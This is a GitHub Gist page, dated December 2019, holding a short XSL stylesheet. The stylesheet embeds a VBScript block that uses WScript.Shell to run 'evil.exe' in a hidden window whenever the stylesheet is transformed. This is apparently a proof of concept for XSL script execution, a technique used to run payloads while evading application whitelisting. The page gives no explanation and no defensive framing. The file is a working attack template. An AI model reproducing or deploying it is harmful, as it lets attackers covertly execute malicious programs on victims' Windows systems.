Created
December 23, 2019 06:38
-
-
Save fareedfauzi/360ff733728f4396e925c0d50ca06444 to your computer and use it in GitHub Desktop.
XML file
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<xsl:stylesheet version="1.0" | |
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
xmlns:msxsl="urn:schemas-microsoft-com:xslt" | |
xmlns:user="urn:my-scripts"> | |
<msxsl:script language="VBScript" implements-prefix="user"> | |
function myFunction() | |
set shell=createobject("wscript.shell") | |
shell.run "evil.exe",0 | |
myFunction = 0 | |
end function | |
</msxsl:script> | |
<xsl:template match="/"> | |
<xsl:value-of select="user:myFunction()"/> | |
</xsl:template> | |
</xsl:stylesheet> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment